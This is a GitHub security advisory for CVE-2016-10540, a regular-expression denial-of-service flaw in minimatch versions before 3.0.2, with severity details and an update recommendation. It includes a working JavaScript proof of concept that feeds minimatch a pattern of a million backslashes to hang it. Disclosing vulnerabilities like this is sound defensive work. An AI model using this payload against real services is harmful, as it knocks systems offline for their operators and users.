GitHub Advisoryadvisory · npm
GHSA-hxm2-r34f-qmc5 Regular Expression Denial of Service in minimatch
HIGH
Official page ↗
- Aliases
- CVE-2016-10540
- Ecosystem
- npm
- Packages
- minimatch
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2020-06-16
Affected packages
• npm minimatch: < 3.0.2 → fixed in 3.0.2
Description
Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.
Proof of Concept
```js
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
```
Recommendation
Update to version 3.0.2 or later.
Related
Alias · CVE (1)
- CVE-2016-10540 Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness